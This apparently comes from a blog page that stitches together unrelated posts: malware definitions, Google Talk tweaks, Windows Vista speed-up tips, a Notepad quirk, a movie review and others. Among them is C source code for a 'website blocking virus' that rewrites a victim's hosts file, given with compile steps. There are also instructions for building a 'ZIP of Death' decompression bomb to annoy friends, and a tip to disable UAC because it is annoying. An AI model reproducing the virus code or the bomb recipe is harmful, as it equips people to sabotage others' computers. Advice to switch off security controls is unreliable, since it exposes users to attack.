Difference between Trojan Horse, Viruses, Worms and Logic Bombs..!!



Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could get
into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden...

inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and worms
is to just not have any files or networks. They are probably correct.
We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself

Registry Tweaks

You can edit most settings by opening regedit (start -> regedit),
and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.
The "Google/Google Talk" key has several sub-keys that hold different option values:
Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.
Autoupdate: Stores the current version information. When the client checks for updates it compares Google's response with these values. If an update is needed, it will download and update the new version.
Options: This is the most interesting part, where most of the current hacks should be used (keep reading).
Process: Stores the process ID. Probably used by Google Talk to detect if it's already running or not.
1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a "pin" next to the minimize button that keeps the windows on top of all the other open windows when clicked.
2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.
4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.
5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.


Special

- A message is restricted to 32767 characters.
- Certain smileys are recognized by Google Talk and will be highlighted in blue color.
:-O B-) :'( :O
- To bold text in a Google Talk conversation, put a * around the word(s). Ex: example: Care for a *date*? –> Care for a date?
- To italicize text in a Google Talk converstation, put a _ around the word(s). Ex: example: Care for a _date_? –> Care for a date?
- You cannot bold nor italicize more than 100 characters at a time. If you exceed the limit, the desired effect will not take place.

- You can right click on the message notification pop-up window to close it.

- To change the display name on Google Talk, you need to go to Gmail account properties and change it there.
- In your away message you can add a website URL, and it will be clickable in conversation windows.

A hidden game uncovered in Google Talk:

Open the about dialog box right-clicking on the Google Talk icon in the windows taskbar. In the about screen you can see ‘play 23 21 13 16 21 19 . 7 1 13 5'. Each number represents a letter. a=1, b=2, c=3 … When you decrypt this message you get: ‘play wumpus.game’. To play the game, invite wumpus.game@gmail.com as a friend, then type “Play”.n play


Play Music
It's possible to broadcast music, MP3, etc.. through Google Talk.
Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up "Volume Control". Select "Options" and then "Properties". Then check the button next to "Recording" then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.



Confrence Calls!!
What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2nd instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message

You can't change your nickname in a way that other people will see it change. Every nickname in the Google Talk contactlist is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts :

You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
The Gmail account 'user@gmail.com' can't be invited as your friend.




Use Google Talk via a Web Browser
You want to use Google Talk anywhere ? Follow these guidelines :)
Step 1: Opens your favorite web browser at the following address :
http://www.webjabber.net:8080/jim/
Step 2: Follow the instructions of the Page.
Step 3: You can talk with your friends
Google's Secret Command-Line Parameters
There are a few secret parameters you can add to Google Talk and make it function differently.
The most important, I think, is /nomutex, which allows you to run more than one instance of GT. Here are the others:
/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ?
To add these, open up your GT shortcut, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part.

How to make Windows Vista boot faster

Simple tips to cut your start-up time in half. By Matt Hanson
Published on 26 Nov 2009

The time it takes for your computer to start up and run has been massively improved under Windows Vista. One of the reasons older versions of Windows, such as Windows 95 and Windows 98, took so long to boot up was because those versions of Windows were running on top of another operating system – MSDOS.

With Windows Vista this is no longer the case, so start-up times are a lot faster. If you have a brand new computer or a fresh installation of Windows Vista, it will take no time at all for your PC to start up, so you can begin using your favourite programs at once. Unfortunately, after a while, with the more programs you install and the more files you have on your PC, you may begin to
notice that your computer takes longer and longer to start up. Before you know it, you’ll be able to get up, make a cup of tea and drink it while waiting for Windows Vista to load. When things get this bad, you know you have to do something about it.

We recently asked visitors to the Windows Vista magazine website how long it took for their PCs to start. The results varied from less than a minute to over ten!

There are plenty of factors that could make your PC startup grind to a halt, so there are plenty of tweaks to try to get your PC starting up in a flash. It's all very well listing these tweaks, but do they work?

We have a PC at home packed with so much stuff that it takes an age to load Windows Vista, so we decided to test the tweaks to find out how much time we could save.

First things first - Start-up slow-down

Original startup time

We knew that our PC was slow to start, but when we timed it and saw that it took nearly six and a half minutes from the moment we pressed the on button to when the computer had loaded all the start-up programs and was actually usable, we knew that something needed to be done.

Our first port of call was to check out the Startup folder by going to Start > All Programs > Startup. The Startup folder can be a really useful feature of Windows Vista because you can place shortcuts to your favourite programs in there and they will load up when Windows Vista starts.

CUT IT OUT: You can speed up the boot time by removing items from your Startup folder

The problem is, if there are too many programs in there, it will slow down your computer's startup as your computer loads them all. Deleting the shortcuts from this folder (don't worry, it won't delete the actual programs) will certainly help speed things up. Not all programs that load themselves when your computer starts appear in the Startup folder, however.

Take a look at the Notification area of your Taskbar, which is on the bottom right-hand corner of your desktop next to the clock, to see if there are a lot of icons there. Most of these icons are for programs that run in background, and with all of them starting up when you turn on your computer, it will definitely slow it down.

Many of these programs can be safely prevented from starting up automatically, so you only load them as and when you need to. Most of the time you can right-click the icon and either open the program or go straight to the program's options or preferences, and from there clear a box that says something like 'Run this program when Windows starts'.

If there are any programs that you don't need any more at all, go ahead and uninstall them to get an extra speed boost.

Result: After deleting four shortcuts from the Startup folder and cutting down the Notification icons from a massive 19 down to seven, we saw a huge improvement in the computer's start-up speed.

Going in deeper

Not all programs give the option to prevent them from automatically starting up. To disable more stubborn programs, we went in to the powerful Msconfig utility. Before using this you should create a Restore point so you can revert your PC back to its former settings should anything go wrong.

Click Start and type msconfig. Click the Startup tab and you'll see a list of programs, the name of the manufacturer of each program, and the program's path (where it's kept on your hard drive). Using all this information you can tell whether these programs are essential to making your PC run properly.

As a general rule, don't disable any programs from Microsoft because these are usually vital for Windows Vista. Any drivers or programs related to your graphics card and other hardware should be left alone as well. Once you've disabled the programs you want, exit Msconfig and restart your PC.

If there are any problems or error messages, make a note and go back into Msconfig and check the boxes of the problem programs. You can also stop some services running on startup. Only stop them if you're sure that you don't need them. Again, no Microsoft services should be turned off.

If there are any services you want to stop, it's a good idea to search for the service on the internet to make sure it's okay to do so. Once again, if there are any problems, open Msconfig again and restart the services.

Use Msconfig to disable more programs at startup

1 LAUNCH MSCONFIG

1 LAUNCH MSCONFIG Msconfig is a powerful application that’s usually only used by advanced computer users. This is why it doesn’t have a snazzy name, and why you won’t find it in the Start Menu. To launch it click Start and type msconfig into the search box.

2 TICK THE BOXES

2 TICK THE BOXES Click the Startup tab and then in the Startup Item column clear the boxes of the programs you wish to prevent from loading on startup. Be careful which programs you deselect, however..

3 RESTART YOUR PC

3 RESTART YOUR PC For these changes to take effect you’ll need to restart your PC. Make sure you have saved all your work, and then click Restart. This is a good opportunity to examine the improvements that your changes have made so far.

Result: We found a number of programs that didn't need to load on startup, so we unchecked them. We also found a couple of services that ran on startup that were used by old programs we had long ago uninstalled, so we safely stopped them.

First off, a few things to say: One, I know this should probably belong in the General section, but I wanted my fellow DC friends to read it first, so you guys can let this help you if you use Vista. So please GM's / CSR's, don't move this thread yet. Thank you. EDIT: I have posted this again in the General Section. So hopefully, this thread is here to stay in the DC area so it can help DC players out. XD

Two: I don't want a "Vista sucks" or "Windows Suck" or "Mac is way better" flame war going on. This is just meant to help those with slow Vista computers. So please, bear that in mind when you reply. If you have nothing good to say, don't say anything at all.

I will be writing more later! Ok, here we go!

Please, if this helped you, +REP IF YOU LIKE. Thanks.

Windows Vista is Microsoft’s newest operating system to its famed Windows OS. And while it is a great operating system, it can be one of the slowest computers you have used. However, don’t let this stop you from enjoying Vista! Here are a few tricks on how to speed up Windows Vista. I used these tricks to make my Vista 3x faster (at last comparison) than my XP.

1) Lose Stuff You Don’t Need
There are a few features in Windows Vista that you really don’t need. Go to the Start Menu, and type in “Programs and Features” in the search box. It should show up immediately. Open it. On the left pane, click on “Turn Windows Features On or Off.” You will find a window with a list of features and a checkbox next to it. A check in that box means it is turned on, and a filled square means that only a portion of that feature is turned on.

Here are some things that you can turn off. Note that turning these features off does not remove them from your computer.

Games (You can keep a few you like, Uncheck the ones you don’t need)
Indexing Service
Internet Information Services
Microsoft .NET Framework 3.0
Microsoft Message Queue (MSMQ) Server
Print Services
Remote Differential Compression
Removable Storage Management
RIP Listener
Simple TCPIP services
SNMP feature
Tablet PC (Leave this on if you’re using a Tablet PC)
Telnet Client
Telnet Server
TFTP Client
Windows DFS Replication Service
Windows Meeting Space
Windows Process Activation Service


I unchecked all of these except for a few games. You don’t really need these anyway.

2) Flush Services You Don’t Need

Go to the Start Menu, and type in services.msc. Up will pop a window with many services. Take a look at the “Startup Type” Column. In that column, you will see one of these three words:

Automatic – This service starts whenever Windows starts
Manual – This service only starts when it is needed.
Disabled – This service will never start. Note that if a service is disabled, and another program needs the service to continue, you may not be able to continue.


Now, look for services that are “Automatic.” Don’t worry about the Manual ones, because they only start when they are needed. To change how the service starts, right click it and press properties. If the service is currently running, click “stop” on the window that pops up, then choose the desired startup type (Automatic, Manual, Disabled) from the drop down menu. I recommend putting services you don’t need as “Manual,” so they start up if needed. However, there are some things that you can set as “Disabled,” if you’re sure you don’t need them. One example is Table PC (if you have a Tablet PC, keep this Automatic.). If you don’t have a Tablet PC, you can disable it.

Some things that you can pretty much automatically set on Manual are:
Computer Browser
Distributed Link Tracking Client
IKE And AuthIP IP Keying Modules
Offline Files
Remote Registry
Tablet PC Input Service (Leave ‘Automatic’ if you have a Tablet PC)
Windows Error Reporting


Some things that you should DEFINITELY NOT disable are:
Multimedia Class Scheduler
Plug and Play
Superfetch
Task Scheduler
Windows Audio
Windows Driver Foundation


Be careful in disabling Security services!

3) Clean out Background Programs

These pesky buggers can slow down your computer when you don’t even want them running. A good way to get rid of programs automatically starting when Windows starts and slowing down you computer is to look at your system tray (bottom right corner of the screen, with the clock, audio, etc). Find any third party programs there (ie Quicktime, AIM, etc). Right click on the icon and look for a “Properties” or “Tools” of some type. Look around the program’s Properties for a way to prevent it from loading when Windows starts.

After that, click Start and type in msconfig. Click on the “Startup” tab. There is a list of programs that automatically start up when Windows starts. Uncheck the box next to a program if you don’t want it to start up automatically. The program will still start if you need it. This just stops it from automatically loading and hogging resources. Take care in unchecking these programs. Some, like Windows Defender, other anti-virus programs, etc. should be kept on. Restart the computer.

4) Disable User Account Control (UAC)

You’ve probably noticed by now that if you try to do certain things that require administrator privileges, the screen fades and a window pops up, requesting your Administrator account password before you can continue. This is annoying, and slows down your computer. You can disable this by going go the Start Menu and typing in msconfig. Then, go to the Tools tab. Scroll down until you see “Disable UAC.” Click once on that, then click on the launch button. A command window will open. Don’t do anything. Once the command is finished, you can close the window. Now close msconfig and restart the computer. Note that you can always enable UAC again by doing the exact same thing, except this time highlighting “Enable UAC” and clicking Launch.

5) Vista too Pretty for You?

IMO, Windows Vista has the best GUI (Graphical User Interface) in the history of personal computers. Transparencies, fluid animations for minimizing, maximizing, opening / closing programs, etc. Wow. This next tweak is for lower end computers, as high end computers won’t benefit much from this.

Well, here it is. If you’ve got an extremely low end computer, you gotta get rid of some of that pretty stuff. Awwwww. Here are some things you can do:

Switch to a non-Windows Aero GUI. Aero is Vista’s GUI, you know, with all the transparencies and pretty buttons and all. Right click on the Desktop and click Personalize. Go to Windows Color And Appearance. Now, click on “Open Classic Appearance Properties,” choose a theme, and click OK.

Get rid of the transparency. I know. It’s too hard to lose. So that’s why you should only do this on a low end computer. Right click on the Desktop and click Personalize. Go to Windows Color And Appearance. Uncheck “Enable Transparency.” Click Ok.

Turn off Sidebar. While it has some pretty neat gadgets and even more gadgets that you can download off the internet, it can slow your computer down. Right click the Sidebar, go to Properties, and uncheck “Start Sidebar When Windows Starts.” Now close the Sidebar. If you ever want to turn it on again, just go to the Start Menu and type in Sidebar. It still doesn’t start when Windows starts, though. I keep mine on, since my computer’s in the high-end range. XD


6) Think the Vista Bootup screen is boring? Use the hidden Vista Aurora Bootup.

This doesn’t speed up your computer, but it creates an illusion that your start up will be faster, because you’ll be staring at the beautiful aurora. This is the default Vista boot screen:



Yup. Just a boring black screen, with a little bar at the bottom. BOOOORING.

Go to the Start Menu and type in MSCONFIG. Open that, and go to the “Boot” tab. Check the box that says “No GUI Boot.” Now hit Ok and restart the computer, and the new boot screen should show up. This is what it looks like:



Much better. Note: You may get a Windows Defender error after you change this. Enable system config utility using the tray icon, and the error should go away.

7) Use the Computer!

That’s right. Using the computer will make it faster. Vista’s Superfetch feature will actually “learn” how you use the computer, and make certain applications that you use more often start faster. So use the computer, and let SuperFetch learn!

8) Use Windows ReadyBoost

You can use your USB drive to help improve performance. Usually, you’ll wanna plug in a USB drive that has equal or more size than your actual computer memory. Usually, 1GB+ USB drives will do.

Plug in your USB drive, and on the window that pops up asking what you want to do, scroll to the bottom and select “Readyboost.”

9) Shut down Windows Indexing Service

Vista constantly indexes all your files for faster searching. This can slow your computer down severely, as it’s always indexing whatever you’re doing. To turn it off, go to:

Start Menu, then to Computer (Or press Windows Logo + E), right click on your C: Drive, and choose Properties. On the General tab, uncheck “Index this drive for faster searching.”

10) Shut off Automatic Disk Defragment

Windows Vista defragments your computer automatically on a schedule (for example, 1:00 AM every Wednesday). This can slow down your computer. You can turn this off, but remember to run a defrag once every month.

Go to the Start Menu, then to Computer. Right click on your C: Drive and select Properties. On the “Tools” tab, click on “Defragment Now.” On the window that pops up, uncheck the box next to “Run on a schedule.”

Again, remember to defragment manually once every month or sooner.

11) Turn off Windows Hibernation

If you’re like most people, you rarely use Hibernation. Usually, you should use Sleep instead. It’s way faster when you “wake the computer up” again. So let’s get rid of Hibernation, which uses a lot of background resources.

In the Start Menu, type in POWER OPTIONS. Click “Change Plan Settings” for the plan that you have chosen, and then on the window that pops up click on “Change Advanced Power Settings.” Here, click on the “+” next to Sleep, then the + next to “Hibernate after,” and crank it down to zero. If you have a laptop, you should change both “Plugged in” and “Battery” to zero. It should say “Never” after you’ve changed it.

Note: It would be wise to repeat the same thing for every power plan, just in case you decide to change to a different power plan in the future. Come on now, there’s only 2 more power plans, and it’s real simple and short to change ‘em…


-------------------------------------------------------------------------------------------------------------------

I will update this thread with more later. This took a while to write (and I will be writing even more), so if this helped you, or if you just wanna be a nice guy, please +REP IF you like. Thanks in advance if you do!

Display Legal Notice on Startup of your Windows


If your PC has multiple users then you can now display legal notice to every user before they login to your PC. This legal notice will be displayed at every startup just before the Desktop is loaded. Using this you can tell your friends about the do’s and dont’s in your computer when they login in your absence. Well you can do this pretty easily. For this there is one small registry hack. Here is the step-by-step instruction to do this.



1. Go to Start->Run, type regedit and hit ENTER

2. Navigate to the following key in the registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system

On the right side pane look for “legalnoticecaption“, double click on it and enter the desired Legal Notice Caption. Next below this look for “legalnoticetext” and enter the desired Legal Notice Text. The legal notice text can be up to a page in it’s size so that it can include a set of do’s and dont’s for your computer. After you do this just restart your computer and upon the next startup you can see the legal notice information for your computer. This trick works on both XP and Vista. You can also try it on Windows 7 and should work with no problems.

Hope you like this post. Pass your comments.

Notepad Tricks

Today i had fun showing some old tricks in note pad.
Check this and think what happened?

At first open notepad in your windows.

Then type this: this app can break

Save this and close the notepad. then open that saved .txt file and your text is Gone..

If you type AAAA BBB CCC DDDDD or any other 4-3-3-5 letter combination like 4444 333 333 55555 does the same thing.

Show this to you friend and have fun. By the way notepad does this because it deaves file in ANSI Encoding But open your file in Unicode Encoding.
****************************************************************************************

NEWS :

I Would like to thanks Mr. Andy From Geek News For clarifying this notepad bug. The same thing can be observed for following statements.

Bush hid the facts
Andy can not Flirt
Rony can not flirt

Actually any sentence of 4-3-3-5 sequence generates the same output.

Try out as many you want.
Thanks Andy.

The ZIP of Death

This is a exploit of the compression algorithms to make a small zip that will extract into extream amounts their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly

6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy freinds.
For added fun hex edit the zip and you will see a bunch of hex 5555

Just add some more and the file will expand amazingly

Make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

To Open/Close the Block sites


Most of us are familiar with the virus that used to block Orkut and YouTube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or FireFox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the source code of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1?;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++) fprintf(target,”%s\t%s\n”,ip,site_list[i]); fclose(target); } void main() { int success=0; success=find_root(); if(success) block_site(); } How to Compile ? For step-by-step compilation guide, refer my post How to compile C Programs.

Testing:
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run. %windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this 127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites. *******************************************************
How to Compile C Programs
In many of my previous posts especially in the VIRUS CREATION section, I have used C as the programming language. If you’re new to C programming and find it difficult to compile the C source codes then this post is for you. Here is a step-by-step procedure to install Borland C++ compiler 5.5 and compile C programs. How to install Borland C++ compiler 1. Download Borland C++ compiler 5.5 (for Windows platform) from the following link. http://www.codegear.com/downloads/free/cppbuilder 2. After you download, run freecommandlinetools.exe. The default installation path would be C:\Borland\BCC55 How to configure Borland C++ compiler 1. After you install Borland C++ compier, create two new Text Documents 2. Open the first New Text Document.txt file and add the following two lines into it -I”c:\Borland\Bcc55\include” -L”c:\Borland\Bcc55\lib” Save changes and close the file. Now rename the file from New Text Document.txt to bcc32.cfg. 3. Open the second New Text Document (2).txt file and add the following line into it -L”c:\Borland\Bcc55\lib” Save changes and close the file. Now rename the file from New Text Document (2).txt to ilink32.cfg. 4. Now copy the two files bcc32.cfg and ilink32.cfg, navigate to C:\Borland\BCC55\Bin and paste them. How to compile the C source code (.C files) 1. You need to place the .C (example.c) file to be compiled in the following location C:\Borland\BCC55\Bin 2. Now goto command prompt (Start->Run->type cmd->Enter)

3. Make the following path as the present working directory (use CD command)

C:\Borland\BCC55\Bin

4. To compile the file (example.c) use the following command

bcc32 example.c

5. Now if there exists no error in the source code you’ll get an executable file (example.exe) in the same location (C:\Borland\BCC55\Bin).

6. Now you have successfully compiled the source code into an executable file(.exe file).

NOTE: The above tutorial assumes that you’re installed the compiler onto the C: drive (by default).

Featured 2012 Movie Review

by Rony

If you have to believe the Mayans and the predictions about the end of this world on or around 21 December 2012, you just imagine what would happen to this globe. Director Roland Emmerich ( The Independence Day’ and ‘The Day after Tomorrow’ fame) turns your imagination into a feature film forcing you to hold on to your seats for about 150+ minutes, to witness that spectacular show of disaster. No one would really like to watch the end of the world, but the film ‘2012’ makes you believe the real cause of earthquakes and tsunami. To the surprise of Indian viewers the film begins with a scene in India, where an American Scientist Dr. Adrian Helmseley(Chiwetel Ejiofer) visits a mine of his Indian friend who is a Geophysicist. It is at this place, he comes to know about the nearing of the disaster and rushes back to his country to inform the House and the President.

Almost at the same time, Jackson Curtis (John Cusack), who is a divorced husband and a writer, comes to know about the preparations to counter the possible disaster and the warning signals. He rushes to pick up his ex-wife, her boyfriend and his children. The film almost takes you on an adventure filled voyage, while showing the disaster striking the southern part of America and the family trying to escape through a small and later a big Aircraft.

In US, the President refuses to board the ‘Airforce One’ for safety along with his White House team and instead like a duty bound Captain of a sinking ship, prefers to stay back with other helpless citizens praying for their survival. His daughter and the Scientist have however been forced to board the aircraft on the orders of the President. The catastrophe strikes at the expected hour and the audience witness the effect of the same on the big screen. Now, the destination for the ‘Airforce One’ and Jackson’s family is to reach China, being predicted as the safest place, where they have constructed huge arks beneath the Himalayan mountains to withstand such natural calamity.

The director has very efficiently picturised the climax at this stage, showing the tsunami striking one of the arks and Jackson and his family trapped in one of the chambers, due to the gates of the ark getting jammed. Like a real hero of our Bollywood film, Jackson and his son trace the hanging cable and manage to get back into the ark. In the final scene the director shows the sunshine on opening the gates of the ark to land the survivors safely somewhere in a African continent, which is capable of supporting human life in future.

2012 is surely a grand and spectacular film made by Sony Pictures Company. The special effects and photography is simply great, never before seen on the screen. Now, whether you really believe in such prediction or not, the film is certainly a good presentation of a fiction, based on imagination and research. The director also goes on to show the attitude of different people in the time of crisis. He has covered the China border and Tibet with good camera work and also tried to highlight the ideology of Lama as far as the humanity is concerned, through few good characters. It is a timely film, making everyone aware about the possible effects of Global warming.
